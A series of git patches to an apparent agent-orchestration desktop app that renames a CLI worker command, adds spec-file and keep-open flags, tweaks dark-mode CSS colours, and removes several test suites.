@@ +import { GLOBAL_FLAGS, type CommandSpec } from '../args' + +export const ORCHESTRATION_GATE_COMMAND_SPECS: CommandSpec[] = [ + { + path: ['orchestration', 'gate-create'], + summary: 'Create a decision gate blocking a task', + usage: + 'orca orchestration gate-create --task --question [--options ] [--from ] [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options', 'from', 'retry-request'], + identityFlagRoles: { from: 'caller' } + }, + { + path: ['orchestration', 'gate-resolve'], + summary: 'Resolve a pending decision gate', + usage: + 'orca orchestration gate-resolve --id --resolution [--from ] [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution', 'from', 'retry-request'], + identityFlagRoles: { from: 'caller' } + }, + { + path: ['orchestration', 'gate-list'], + summary: 'List decision gates', + usage: + 'orca orchestration gate-list [--task ] [--status ] [--run ] [--from ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'task', 'status', 'run', 'from'], + identityFlagRoles: { from: 'caller' }, + notes: ['--run inspects a named Run without binding; otherwise gates are scoped to the caller.'] + } +] diff --git a/src/cli/specs/orchestration-worker-specs.ts b/src/cli/specs/orchestration-worker-specs.ts index 68f1887b658..4a050b1620f 100644 --- a/src/cli/specs/orchestration-worker-specs.ts +++ b/src/cli/specs/orchestration-worker-specs.ts @@ -5,11 +5,13 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ path: ['orchestration', 'worker-start'], summary: 'Start one supervised worker on the Run home or a connected Orca server', usage: - 'orca orchestration worker-start (--task | --spec ) [--on ] [--worktree ] (--agent | --terminal ) [--task-title ] [--deps ] [--parent ] [--model ] [--effort ] [--name ] [--repo ] [--base-branch ] [--display-name ] [--comment ] [--setup ] [--retry-of ] [--timeout-ms ] [--run ] [--from ] [--retry-request ] [--json]', + 'orca orchestration worker-start (--task | --spec | --spec-file ) [--keep-open] [--on ] [--worktree ] (--agent | --terminal ) [--task-title ] [--deps ] [--parent ] [--model ] [--effort ] [--name ] [--repo ] [--base-branch ] [--display-name ] [--comment ] [--setup ] [--retry-of ] [--timeout-ms ] [--run ] [--from ] [--retry-request ] [--json]', allowedFlags: [ ...GLOBAL_FLAGS, 'task', 'spec', + 'spec-file', + 'keep-open', 'task-title', 'deps', 'parent', @@ -49,7 +51,9 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ '--on selects only the worker server; the Run and this command remain on the current Orca server.', 'Remote current and new-child are invalid; discover an exact remote selector or use new-top-level.', '--retry-of needs --task naming the failed Task (--spec creates a new one) and does not inherit placement; repeat the intended --on/worktree and --agent/terminal choices.', - 'The call exits 0 only for ready. Failed or outcome_unknown exits 1 and JSON includes stage/failedStage, setup, effects, residualResources, and recovery commands when needed.' + '--spec-file reads the spec from a file (relative to the current directory) or stdin (-) on this machine, so quotes and backticks need no shell escaping.', + '--keep-open keeps the worker open after it finishes, as worker-keep-open does right after start.', + 'The call exits 0 for ready, and in the concise view for a start whose turn was not yet observed (--full exits 1 for anything but ready). Failed or outcome_unknown exits 1 and JSON includes stage/failedStage, setup, effects, residualResources, and recovery commands when needed.' ] }, { @@ -109,14 +113,14 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'An inspectable output archive is preserved before the terminal closes, so worker-read still returns output afterwards.', 'Never closes setup terminals, configured tabs, reused or pre-existing terminals, terminals the user kept open, or unproven identities.', 'Idempotent: repeating the call reports already_released. Only release_unknown exits 1; retained, release_pending, and already_released exit 0.', - 'On a runtime that advertises orchestration.worker-auto-release.v1, an accepted worker_done already schedules this release about 2 minutes later (autoReleaseAt in worker-show and worker-list); call it only to release sooner or to clear a worker-retain. Chat workers follow autoReleaseAt too. autoReleaseAt is absent while its agent works again, and set afresh when it next goes idle.' + 'On a runtime that advertises orchestration.worker-auto-release.v1, an accepted worker_done already schedules this release about 2 minutes later (autoReleaseAt in worker-show and worker-list); call it only to release sooner or to clear a worker-keep-open. Chat workers follow autoReleaseAt too. autoReleaseAt is absent while its agent works again, and set afresh when it next goes idle.' ] }, { - path: ['orchestration', 'worker-retain'], - summary: 'Keep one supervised worker terminal live for debugging', + path: ['orchestration', 'worker-keep-open'], + summary: 'Keep a worker open after it finishes', usage: - 'orca orchestration worker-retain --dispatch [--retry-request ] [--json]', + 'orca orchestration worker-keep-open --dispatch [--retry-request ] [--json]', allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'], notes: [ 'Records a durable user-requested exception; a later explicit worker-release clears it and releases the terminal.', @@ -126,6 +130,15 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ 'Performs no process or filesystem action.' ] }, + { + // Old name of worker-keep-open; hidden so it runs for existing scripts but is never suggested. + path: ['orchestration', 'worker-retain'], + hidden: true, + summary: 'Keep a worker open after it finishes (old name of worker-keep-open)', + usage: + 'orca orchestration worker-retain --dispatch [--retry-request ] [--json]', + allowedFlags: [...GLOBAL_FLAGS, 'dispatch', 'retry-request'] + }, { path: ['orchestration', 'worker-list'], summary: 'List supervised worker terminal resource accounting', @@ -134,7 +147,7 @@ export const ORCHESTRATION_WORKER_COMMAND_SPECS: CommandSpec[] = [ allowedFlags: [...GLOBAL_FLAGS, 'run', 'terminal-state', 'include-remote', 'cursor', 'limit'], notes: [ 'Terminal state is process accounting and is reported separately from Task status; a completed Task can still own a live terminal.', - 'A reclaimable worker with resource.autoReleaseAt is released automatically at that time unless it is reused with worker-start --terminal, retained, or kept open by the user.', + 'A reclaimable worker with resource.autoReleaseAt is released automatically at that time unless it is reused with worker-start --terminal or kept open (worker-keep-open, worker-start --keep-open, or the user).', 'Context-only Dispatches created by orchestration dispatch are included as unsupervised with terminal state retained.', 'Returns at most 100 local rows, newest first, by default; --include-remote adds connected-server observations when the host supports fleet listing. Continue with the opaque nextCursor value unchanged.', 'Without --run the list is scoped to the Run bound to the calling terminal, and to every Run when there is no binding; the receipt reports which in scope.source (flag, bound, or all).' diff --git a/src/cli/specs/orchestration.ts b/src/cli/specs/orchestration.ts index 927b72a310a..92adc2421ca 100644 --- a/src/cli/specs/orchestration.ts +++ b/src/cli/specs/orchestration.ts @@ -1,4 +1,5 @@ import { GLOBAL_FLAGS, type CommandSpec } from '../args' +import { ORCHESTRATION_GATE_COMMAND_SPECS } from './orchestration-gate-specs' import { ORCHESTRATION_WORKER_COMMAND_SPECS } from './orchestration-worker-specs' export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ @@ -139,10 +140,11 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ path: ['orchestration', 'task-create'], summary: 'Create an orchestration task', usage: - 'orca orchestration task-create --spec [--task-title ] [--display-name ] [--deps ] [--parent ] [--run ] [--from ] [--retry-request ] [--json]', + 'orca orchestration task-create (--spec | --spec-file ) [--task-title ] [--display-name ] [--deps ] [--parent ] [--run ] [--from ] [--retry-request ] [--json]', allowedFlags: [ ...GLOBAL_FLAGS, 'spec', + 'spec-file', 'task-title', 'display-name', 'deps', @@ -265,31 +267,7 @@ export const ORCHESTRATION_COMMAND_SPECS: CommandSpec[] = [ 'This command performs no effects and returns the exact `skills get orchestration --full` recovery action.' ] }, - { - path: ['orchestration', 'gate-create'], - summary: 'Create a decision gate blocking a task', - usage: - 'orca orchestration gate-create --task --question [--options ] [--from ] [--retry-request ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'task', 'question', 'options', 'from', 'retry-request'], - identityFlagRoles: { from: 'caller' } - }, - { - path: ['orchestration', 'gate-resolve'], - summary: 'Resolve a pending decision gate', - usage: - 'orca orchestration gate-resolve --id --resolution [--from ] [--retry-request ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'id', 'resolution', 'from', 'retry-request'], - identityFlagRoles: { from: 'caller' } - }, - { - path: ['orchestration', 'gate-list'], - summary: 'List decision gates', - usage: - 'orca orchestration gate-list [--task ] [--status ] [--run ] [--from ] [--json]', - allowedFlags: [...GLOBAL_FLAGS, 'task', 'status', 'run', 'from'], - identityFlagRoles: { from: 'caller' }, - notes: ['--run inspects a named Run without binding; otherwise gates are scoped to the caller.'] - }, + ...ORCHESTRATION_GATE_COMMAND_SPECS, { path: ['orchestration', 'reset'], destructive: true, diff --git a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts index a20e483e7d1..f7d60beb56a 100644 --- a/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts +++ b/src/main/runtime/orchestration/db/worker-dispatch/worker-dispatch-abandon.ts @@ -82,7 +82,7 @@ export function abandonWorkerDispatch( reconcileTaskAfterDispatchInterruption(this, dispatch.task_id, dispatchId) this.closeQuestionsForDispatch(dispatchId) const terminal = this.getWorkerTerminalResourceByOwner(dispatchId) - // Abandon hands an owned terminal back instead of closing it, by the same rule as worker-retain. + // Abandon hands an owned terminal back instead of closing it, by the same rule as worker-keep-open. if (terminal?.ownership_state === 'owned') { retainTerminalResourceInTransaction(this, terminal.id, dispatchId) } diff --git a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts index 955b48d9a92..5b28d3582b3 100644 --- a/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts +++ b/src/main/runtime/orchestration/db/worker-terminal/worker-terminal-archive.ts @@ -234,7 +234,7 @@ export function retainWorkerTerminalResource( }) } -/** The execution host's half of a forwarded worker-retain. */ +/** The execution host's half of a forwarded worker-keep-open. */ export function retainRemoteAttachmentTerminalResource( this: OrchestrationDb, dispatchId: string diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts index 8c90d8b2da8..d71b7813645 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-release.ts @@ -102,7 +102,7 @@ export const ORCHESTRATION_WORKER_RELEASE_METHODS = [ if (!orchestrationMutation) { throw new OrchestrationError( 'invalid_argument', - 'Remote worker-retain requires a durable retry request.' + 'Remote worker-keep-open requires a durable retry request.' ) } db.endFederatedHomeAutoRelease(params.dispatch) diff --git a/src/shared/cli-argument-boundary.ts b/src/shared/cli-argument-boundary.ts index c6c5962eb05..1c4f819bcdc 100644 --- a/src/shared/cli-argument-boundary.ts +++ b/src/shared/cli-argument-boundary.ts @@ -35,6 +35,7 @@ export const CLI_BOOLEAN_FLAGS = new Set([ 'index-status', 'interactive', 'interrupt', + 'keep-open', 'json', 'latest-json', 'local', From ec6073093a87469e315ff25e52ae144dcab79903 Mon Sep 17 00:00:00 2001 From: Jinjing <6427696+AmethystLiang@users.noreply.github.com> Date: Fri, 30 Oct 2026 22:37:42 -0700 Subject: [PATCH 08/47] Soften dark mode foreground text contrast (#36595) --- src/renderer/src/assets/main.css | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/src/renderer/src/assets/main.css b/src/renderer/src/assets/main.css index 37c2eceb079..f5069fbfcb9 100644 --- a/src/renderer/src/assets/main.css +++ b/src/renderer/src/assets/main.css @@ -299,19 +299,19 @@ .dark { --orca-security-background: #0a0a0a; - --orca-security-foreground: #fafafa; + --orca-security-foreground: #e5e5e5; --orca-security-card: #171717; - --orca-security-card-foreground: #fafafa; + --orca-security-card-foreground: #e5e5e5; --orca-security-popover: #171717; - --orca-security-popover-foreground: #fafafa; + --orca-security-popover-foreground: #e5e5e5; --orca-security-primary: #e5e5e5; --orca-security-primary-foreground: #171717; --orca-security-secondary: #262626; - --orca-security-secondary-foreground: #fafafa; + --orca-security-secondary-foreground: #e5e5e5; --orca-security-muted: #262626; --orca-security-muted-foreground: #a1a1a1; --orca-security-accent: #404040; - --orca-security-accent-foreground: #fafafa; + --orca-security-accent-foreground: #e5e5e5; --orca-security-border: rgb(255 255 255 / 0.07); --orca-security-input: rgb(255 255 255 / 0.15); --orca-security-ring: #737373; @@ -319,7 +319,7 @@ --orca-security-dialog-surface: rgba(23, 23, 23, 0.96); --background: #0a0a0a; --editor-surface: #1e1e1e; - --foreground: #fafafa; + --foreground: #e5e5e5; --chat-canvas-mix: 5%; --chat-foreground-mix: 78%; --chat-strong-mix: 90%; @@ -336,19 +336,19 @@ --chat-composer-border-mix: 9%; --chat-content-max-width: 46rem; --card: #171717; - --card-foreground: #fafafa; + --card-foreground: #e5e5e5; --popover: #171717; - --popover-foreground: #fafafa; + --popover-foreground: #e5e5e5; --floating-surface: rgba(0, 0, 0, 0.72); --dialog-surface: rgba(23, 23, 23, 0.96); --primary: #e5e5e5; --primary-foreground: #171717; --secondary: #262626; - --secondary-foreground: #fafafa; + --secondary-foreground: #e5e5e5; --muted: #262626; --muted-foreground: #a1a1a1; --accent: #404040; - --accent-foreground: #fafafa; + --accent-foreground: #e5e5e5; --border: rgb(255 255 255 / 0.07); --input: rgb(255 255 255 / 0.15); --ring: #737373; @@ -366,19 +366,19 @@ --chart-5: var(--color-blue-800); /* Mirror light mode’s lifted worktree sidebar above the dark canvas. */ --worktree-sidebar: #2a2a2a; - --worktree-sidebar-foreground: #fafafa; + --worktree-sidebar-foreground: #e5e5e5; --worktree-sidebar-accent: #353535; - --worktree-sidebar-accent-foreground: #fafafa; + --worktree-sidebar-accent-foreground: #e5e5e5; /* Match --border / --sidebar-border (7%) so the left sidebar's divider lines aren't brighter than the rest of the UI in dark mode (#5906). */ --worktree-sidebar-border: rgb(255 255 255 / 0.07); --worktree-sidebar-ring: #737373; --sidebar: #171717; - --sidebar-foreground: #fafafa; + --sidebar-foreground: #e5e5e5; --sidebar-primary: #1447e6; - --sidebar-primary-foreground: #fafafa; + --sidebar-primary-foreground: #e5e5e5; --sidebar-accent: #262626; - --sidebar-accent-foreground: #fafafa; + --sidebar-accent-foreground: #e5e5e5; --sidebar-border: rgb(255 255 255 / 0.07); --sidebar-ring: #525252; --terminal-pane-title-on-dark-fg: rgb(255 255 255 / 0.52); From 99cddd97962479cbea92f2da634684334d8d3cf3 Mon Sep 17 00:00:00 2001 From: Jinwoo Hong <73622457+Jinwoo-H@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:38:55 -0400 Subject: [PATCH 09/47] Name worker-keep-open in the orchestration recovery reference (#36599) The recovery reference now names worker-keep-open instead of the renamed worker-retain. Guide wording only. --- .../orchestration/references/recovery-and-cleanup.md | 7 ++++--- src/cli/bundled-skill-guides.ts | 7 ++++--- 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/skill-guides/orchestration/references/recovery-and-cleanup.md b/skill-guides/orchestration/references/recovery-and-cleanup.md index 2eaf81aea83..42519c0f9ef 100644 --- a/skill-guides/orchestration/references/recovery-and-cleanup.md +++ b/skill-guides/orchestration/references/recovery-and-cleanup.md @@ -55,9 +55,10 @@ An already-failed start can still own a live terminal; stop/abandon does not clo it. For reclaimable failed-start terminals you are replacing, use `ORCA orchestration worker-release --dispatch `; follow the receipt's exact recovery action for `release_pending` or `release_unknown`, never -`terminal close`. Preserve the selected proven reusable agent with `worker-retain` -by its Dispatch ID; preserve user-taken-over and unproven terminals. A fresh start -without `--retry-of` does not clean up its predecessor's terminal. +`terminal close`. Preserve the selected proven reusable agent with +`worker-keep-open` by its Dispatch ID; preserve user-taken-over and unproven +terminals. A fresh start without `--retry-of` does not clean up its +predecessor's terminal. Reopen and start the same Task in its owning Run: diff --git a/src/cli/bundled-skill-guides.ts b/src/cli/bundled-skill-guides.ts index f286637f478..eb85ea07f84 100644 --- a/src/cli/bundled-skill-guides.ts +++ b/src/cli/bundled-skill-guides.ts @@ -2743,9 +2743,10 @@ const ORCHESTRATION_RECOVERY_AND_CLEANUP_REFERENCE_MARKDOWN = [ "it. For reclaimable failed-start terminals you are replacing, use", "`ORCA orchestration worker-release --dispatch `; follow the", "receipt's exact recovery action for `release_pending` or `release_unknown`, never", - "`terminal close`. Preserve the selected proven reusable agent with `worker-retain`", - "by its Dispatch ID; preserve user-taken-over and unproven terminals. A fresh start", - "without `--retry-of` does not clean up its predecessor's terminal.", + "`terminal close`. Preserve the selected proven reusable agent with", + "`worker-keep-open` by its Dispatch ID; preserve user-taken-over and unproven", + "terminals. A fresh start without `--retry-of` does not clean up its", + "predecessor's terminal.", "", "Reopen and start the same Task in its owning Run:", "", From 72104bfc64de3a2dc0454dc1dc2fc6661b338bdf Mon Sep 17 00:00:00 2001 From: OrcaWin Date: Fri, 30 Oct 2026 22:55:00 -0700 Subject: [PATCH 10/47] test: remove low-value fixture and forwarding suites (#36600) --- .github/workflows/computer-e2e.yml | 1 - config/flaky-test-pattern-baseline.txt | 1 - config/scripts/ci-shard-timings.json | 21 -- config/scripts/pr-package-test-paths.mjs | 1 - .../codex-hooks-read-denial-followup.test.ts | 138 ---------- .../codex/codex-session-source-home.test.ts | 72 ----- .../desktop-script-provider-client.test.ts | 202 -------------- src/main/github/issue-mutation-source.test.ts | 174 ------------ .../work-item-details-issue-source.test.ts | 239 ---------------- src/main/hooks-issue-command.test.ts | 144 ---------- .../ipc/readdir-error-diagnostics.test.ts | 72 ----- .../wsl-move-rewrite-store-coverage.test.ts | 258 ------------------ .../legacy-terminal-windows-tombstone.test.ts | 224 --------------- .../agent-hooks-uninstall-preflight.test.ts | 204 -------------- .../startup/codex-hook-startup-wiring.test.ts | 132 --------- .../startup/dev-instance-identity.test.ts | 78 ------ src/main/startup/linux-dev-shm-policy.test.ts | 145 ---------- .../linux-secret-service-probe.test.ts | 59 ---- .../wsl-holder-uninstall-preflight.test.ts | 133 --------- src/main/wsl/wsl-w1-w3-contract.test.ts | 153 ----------- .../source-control-discard-dialog.test.tsx | 142 ---------- ...source-control-entry-context-menu.test.tsx | 241 ---------------- ...e-control-header-toolbar-identity.test.tsx | 178 ------------ .../source-control-split-open.test.ts | 72 ----- ...ktree-visibility-source-provenance.test.ts | 129 --------- .../skill-install-provider-groups.test.ts | 60 ---- .../ResourceUsageStatusSegment.rows.test.tsx | 177 ------------ ...page-task-source-host-availability.test.ts | 132 --------- 28 files changed, 3582 deletions(-) delete mode 100644 src/main/codex/codex-hooks-read-denial-followup.test.ts delete mode 100644 src/main/codex/codex-session-source-home.test.ts delete mode 100644 src/main/computer/desktop-script-provider-client.test.ts delete mode 100644 src/main/github/issue-mutation-source.test.ts delete mode 100644 src/main/github/work-item-details-issue-source.test.ts delete mode 100644 src/main/hooks-issue-command.test.ts delete mode 100644 src/main/ipc/readdir-error-diagnostics.test.ts delete mode 100644 src/main/persistence/moving-wsl-projects/wsl-move-rewrite-store-coverage.test.ts delete mode 100644 src/main/pty/legacy-terminal-windows-tombstone.test.ts delete mode 100644 src/main/startup/agent-hooks-uninstall-preflight.test.ts delete mode 100644 src/main/startup/codex-hook-startup-wiring.test.ts delete mode 100644 src/main/startup/dev-instance-identity.test.ts delete mode 100644 src/main/startup/linux-dev-shm-policy.test.ts delete mode 100644 src/main/startup/linux-secret-service-probe.test.ts delete mode 100644 src/main/startup/wsl-holder-uninstall-preflight.test.ts delete mode 100644 src/main/wsl/wsl-w1-w3-contract.test.ts delete mode 100644 src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx delete mode 100644 src/renderer/src/components/right-sidebar/source-control-split-open.test.ts delete mode 100644 src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts delete mode 100644 src/renderer/src/components/skills/skill-install-provider-groups.test.ts delete mode 100644 src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx delete mode 100644 src/renderer/src/components/task-page/task-page-task-source-host-availability.test.ts diff --git a/.github/workflows/computer-e2e.yml b/.github/workflows/computer-e2e.yml index 567a45b73cb..a46e6ecb628 100644 --- a/.github/workflows/computer-e2e.yml +++ b/.github/workflows/computer-e2e.yml @@ -100,7 +100,6 @@ jobs: src/main/computer/macos-computer-use-permissions.test.ts src/main/computer/macos-computer-use-permission-status.test.ts src/main/providers/windows-shell-preflight-runtime.windows.test.ts - src/main/computer/desktop-script-provider-client.test.ts src/main/computer/desktop-script-provider-cache.test.ts src/main/computer/desktop-script-provider-actions.test.ts src/main/computer/desktop-script-provider-cache-lifecycle.test.ts diff --git a/config/flaky-test-pattern-baseline.txt b/config/flaky-test-pattern-baseline.txt index 76a5c0a5ef8..27898c35e8b 100644 --- a/config/flaky-test-pattern-baseline.txt +++ b/config/flaky-test-pattern-baseline.txt @@ -457,7 +457,6 @@ 2 test-no-real-time-wait:src/main/ssh/sftp-upload.test.ts 1 test-no-real-time-wait:src/main/ssh/ssh-credential-prompt-login-grace-wire.test.ts 2 test-no-real-time-wait:src/main/ssh/ssh-quit-abort-upload.test.ts -1 test-no-real-time-wait:src/main/startup/codex-hook-startup-wiring.test.ts 2 test-no-real-time-wait:src/main/startup/gpu-lifecycle-install-dir-acl-guard.test.ts 1 test-no-real-time-wait:src/main/startup/main-process-ready-duplicate-pty-repair.test.ts 3 test-no-real-time-wait:src/main/startup/run-electron-vite-dev-web.test.ts diff --git a/config/scripts/ci-shard-timings.json b/config/scripts/ci-shard-timings.json index 1e131ad987f..5b879e555a9 100644 --- a/config/scripts/ci-shard-timings.json +++ b/config/scripts/ci-shard-timings.json @@ -1776,7 +1776,6 @@ "src/main/codex/codex-hook-trust-failure-memo.test.ts": 242, "src/main/codex/codex-hook-trust-grant.test.ts": 681, "src/main/codex/codex-hook-trust-memo.test.ts": 165, - "src/main/codex/codex-hooks-read-denial-followup.test.ts": 324, "src/main/codex/codex-index-heal-binary-contract.test.ts": 121, "src/main/codex/codex-interrupt-hook-trust.test.ts": 104, "src/main/codex/codex-legacy-session-resume.test.ts": 188, @@ -1812,7 +1811,6 @@ "src/main/codex/codex-session-resume-preparation.test.ts": 75, "src/main/codex/codex-session-resume-windows.test.ts": 57, "src/main/codex/codex-session-resume-wrong-account.test.ts": 65, - "src/main/codex/codex-session-source-home.test.ts": 37, "src/main/codex/codex-shared-server-fix.test.ts": 63, "src/main/codex/codex-shared-server-pane.test.ts": 66, "src/main/codex/codex-shared-server-probe.test.ts": 120, @@ -1947,7 +1945,6 @@ "src/main/computer/desktop-script-provider-bridge.test.ts": 59, "src/main/computer/desktop-script-provider-cache-lifecycle.test.ts": 70, "src/main/computer/desktop-script-provider-cache.test.ts": 109, - "src/main/computer/desktop-script-provider-client.test.ts": 237, "src/main/computer/desktop-script-provider-errors.test.ts": 279, "src/main/computer/desktop-script-provider-paste-validation.test.ts": 93, "src/main/computer/desktop-script-provider-paths.test.ts": 69, @@ -2620,7 +2617,6 @@ "src/main/github/github-repository-identity.gh-account.test.ts": 623, "src/main/github/github-repository-identity.signed-cache.test.ts": 526, "src/main/github/github-repository-identity.ssh-host-alias.test.ts": 490, - "src/main/github/issue-mutation-source.test.ts": 553, "src/main/github/issues.test.ts": 511, "src/main/github/pr-head-tracking-ref.test.ts": 59, "src/main/github/pr-mutation-review-invalidation.test.ts": 2171, @@ -2654,7 +2650,6 @@ "src/main/github/work-item-details-config-change.test.ts": 563, "src/main/github/work-item-details-enterprise-host.test.ts": 372, "src/main/github/work-item-details-file-viewed.test.ts": 487, - "src/main/github/work-item-details-issue-source.test.ts": 76, "src/main/github/work-item-details-pr-files.test.ts": 535, "src/main/github/work-item-details.test.ts": 428, "src/main/github/work-item-search-fallback-environment.test.ts": 463, @@ -2707,7 +2702,6 @@ "src/main/hook-termination-real-process.test.ts": 3176, "src/main/hooks-archive-exit-observation.test.ts": 229, "src/main/hooks-effective-hook-resolution.test.ts": 249, - "src/main/hooks-issue-command.test.ts": 307, "src/main/hooks-orca-yaml-parsing.test.ts": 366, "src/main/hooks-orca-yaml-unc-drive.test.ts": 316, "src/main/hooks-runner.test.ts": 193, @@ -3044,7 +3038,6 @@ "src/main/ipc/pty/spawn-options-agent-workspace-trust.test.ts": 642, "src/main/ipc/qoder-desktop-execution-host.test.ts": 3315, "src/main/ipc/qoder-independent-renderer-spawn-review.test.ts": 3959, - "src/main/ipc/readdir-error-diagnostics.test.ts": 29, "src/main/ipc/rebinding-file-watch-noise.test.ts": 1071, "src/main/ipc/rebinding-file-watch.test.ts": 4132, "src/main/ipc/register-core-handlers/register-core-handlers.test.ts": 706, @@ -4515,7 +4508,6 @@ "src/main/pty/codex-shell-no-daemon.test.ts": 8257, "src/main/pty/conda-activation-env.test.ts": 44, "src/main/pty/legacy-terminal-shim-dir.test.ts": 183, - "src/main/pty/legacy-terminal-windows-tombstone.test.ts": 49, "src/main/pty/managed-ssh-host-login-shell.test.ts": 40, "src/main/pty/node-pty-master-fd-retirement.test.ts": 2376, "src/main/pty/overlay-mirror.test.ts": 73, @@ -6302,7 +6294,6 @@ "src/main/startup/cli-launch-redirect.test.ts": 120, "src/main/startup/cloud-session-shutdown-flush.test.ts": 77, "src/main/startup/codex-account-restart-resume.test.ts": 329, - "src/main/startup/codex-hook-startup-wiring.test.ts": 1174, "src/main/startup/codex-launch-per-agent-hook-opt-out.test.ts": 144, "src/main/startup/codex-session-resume-daemon-guard.test.ts": 117, "src/main/startup/configure-process-dev-parent-shutdown.test.ts": 95, @@ -6310,7 +6301,6 @@ "src/main/startup/configure-process.test.ts": 178, "src/main/startup/desktop-profile-instance-lock.test.ts": 167, "src/main/startup/dev-education-suppression.test.ts": 110, - "src/main/startup/dev-instance-identity.test.ts": 73, "src/main/startup/ensure-virtual-display.test.ts": 70, "src/main/startup/first-window-startup-services.test.ts": 34, "src/main/startup/gpu-fallback-marker.test.ts": 48, @@ -6321,9 +6311,7 @@ "src/main/startup/hydrate-shell-path.test.ts": 471, "src/main/startup/hydrate-shell-path.windows.test.ts": 434, "src/main/startup/legacy-worker-renderer-recovery.test.ts": 51, - "src/main/startup/linux-dev-shm-policy.test.ts": 48, "src/main/startup/linux-keyring-backend-selection.test.ts": 39, - "src/main/startup/linux-secret-service-probe.test.ts": 41, "src/main/startup/login-shell-environment-cache.test.ts": 111, "src/main/startup/login-shell-environment.test.ts": 80, "src/main/startup/main-process-error-guards.test.ts": 73, @@ -6681,7 +6669,6 @@ "src/main/wsl/wsl-runner.wsl.test.ts": 64, "src/main/wsl/wsl-unc-drive-file-content.test.ts": 33, "src/main/wsl/wsl-unc-drive-fs-path.test.ts": 40, - "src/main/wsl/wsl-w1-w3-contract.test.ts": 54, "src/main/zcode/hook-service.test.ts": 107, "src/main/zcode/interactive-capability.live.test.ts": 55, "src/main/zcode/zcode-plan-api-key-store-native-windows.test.ts": 32, @@ -8248,12 +8235,9 @@ "src/renderer/src/components/right-sidebar/source-control-create-review-blocked-action.test.ts": 148, "src/renderer/src/components/right-sidebar/source-control-created-review-link.test.ts": 57, "src/renderer/src/components/right-sidebar/source-control-discard-confirmation.test.ts": 118, - "src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx": 196, "src/renderer/src/components/right-sidebar/source-control-dropdown-items.create-pr-intent.test.ts": 163, "src/renderer/src/components/right-sidebar/source-control-dropdown-items.test.ts": 256, - "src/renderer/src/components/right-sidebar/source-control-entry-context-menu.test.tsx": 367, "src/renderer/src/components/right-sidebar/source-control-file-filter.test.ts": 46, - "src/renderer/src/components/right-sidebar/source-control-header-toolbar-identity.test.tsx": 346, "src/renderer/src/components/right-sidebar/source-control-hosted-review-creation-eligibility-snapshot.test.ts": 87, "src/renderer/src/components/right-sidebar/source-control-hosted-review-push-target.test.ts": 52, "src/renderer/src/components/right-sidebar/source-control-huge-repo-warning-dismissals.test.ts": 150, @@ -8264,7 +8248,6 @@ "src/renderer/src/components/right-sidebar/source-control-push-recovery.test.ts": 35, "src/renderer/src/components/right-sidebar/source-control-recovery-admission.test.ts": 131, "src/renderer/src/components/right-sidebar/source-control-section-order.test.ts": 69, - "src/renderer/src/components/right-sidebar/source-control-split-open.test.ts": 52, "src/renderer/src/components/right-sidebar/source-control-submodule-expansion.test.ts": 46, "src/renderer/src/components/right-sidebar/source-control-too-many-changes-banner.test.tsx": 632, "src/shared/source-control-tree.test.ts": 57, @@ -8883,7 +8866,6 @@ "src/renderer/src/components/sidebar/worktree-title-derived-agent-rows.test.ts": 119, "src/renderer/src/components/sidebar/worktree-unambiguous-id-index.test.ts": 19, "src/renderer/src/components/sidebar/worktree-unnest.test.ts": 94, - "src/renderer/src/components/sidebar/worktree-visibility-source-provenance.test.ts": 45, "src/renderer/src/components/sidebar/wsl-host-row-status.test.ts": 282, "src/renderer/src/components/skills/SkillFreshnessNudge.test.tsx": 292, "src/renderer/src/components/skills/SkillFreshnessStatusPill.test.tsx": 2390, @@ -8902,7 +8884,6 @@ "src/renderer/src/components/skills/skill-delete-copy.test.ts": 146, "src/renderer/src/components/skills/skill-description-length.test.ts": 34, "src/renderer/src/components/skills/skill-install-progress-state.test.tsx": 258, - "src/renderer/src/components/skills/skill-install-provider-groups.test.ts": 32, "src/renderer/src/components/skills/skill-install-workspace-choices.test.ts": 55, "src/renderer/src/components/skills/skill-share-link.test.ts": 38, "src/renderer/src/components/skills/skill-share-package-selection.test.ts": 48, @@ -8922,7 +8903,6 @@ "src/renderer/src/components/status-bar/NativeChatResumeStatusSegment.test.tsx": 2041, "src/renderer/src/components/status-bar/PortsStatusSegment.host-routing.test.tsx": 712, "src/renderer/src/components/status-bar/PortsStatusSegment.render-stability.test.tsx": 1289, - "src/renderer/src/components/status-bar/ResourceUsageStatusSegment.rows.test.tsx": 1780, "src/renderer/src/components/status-bar/RuntimeHostStatusRow.test.tsx": 381, "src/renderer/src/components/status-bar/SkillUpdateStatusSegment.test.tsx": 436, 